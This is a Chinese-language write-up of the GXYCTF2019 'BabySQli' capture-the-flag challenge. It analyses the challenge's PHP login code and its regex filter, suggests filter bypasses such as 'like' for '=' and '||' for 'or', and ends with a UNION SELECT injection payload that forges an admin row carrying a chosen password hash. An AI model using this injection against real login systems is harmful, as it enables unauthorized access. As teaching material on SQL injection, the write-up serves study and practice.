[GXYCTF2019]BabySQli


直接分析源码,首先去除了对GET、POST传入参数的转义。另外get_magic_quotes_gpc函数在PHP7.4.0起已废弃。

if (get_magic_quotes_gpc()) {
	function stripslashes_deep($value)
	{
		$value = is_array($value) ?
		array_map('stripslashes_deep', $value) :
		stripslashes($value);
		return $value;
	}

	$_POST = array_map('stripslashes_deep', $_POST);
	$_GET = array_map('stripslashes_deep', $_GET);
	$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
	$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}

下面对反斜线、左右括号、等号和or进行了检测,若存在则会触发waf,可以使用like替代等号,||替代or,由于不能使用括号,理论上来讲报错注入无法执行,因为前面学过的那些报错函数都需要括号。

if(preg_match("/\(|\)|\=|or/", $name)){
	die("do not hack me!");
}

又对输入的密码进行了md5加密保存在$t_pw中,随后将用户输入的用户名以单引号包围拼接到SQL语句中,该条语句也出现在源码起始的提示中,先用base32再base64解密可得。关键在于下面这段,通过mysqli_fetch_row()函数从查询结果中获取一行,并以数组返回。而后检查结果数组第二个元素(下标1)是否为admin:若否,则返回“wrong user”,若是则比对结果数组第三个元素的值,是否与用户输入的password的md5值相等,若相等则返回flag。(有个瑕疵,这应该用$t_pw来比对,前面已经计算过password的md5值了并存在$t_pw中)。

$result = mysqli_query($con, $sql);

$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
	if(md5($password) == $arr[2]){
		echo $flag;
	}
	else{
		die("wrong pass!");
	}
else{
	die("wrong user!");
}

由于没有对union、select、以及注释符的检测或过滤,于是可以在用户名处使用联合查询,例如:1' union select 1,2,3,那么得到的结果数组中三个元素将依次为1,2,3;于是构造payload1' union select 1,'admin','<密码的md5值>' %23 即可获得flag。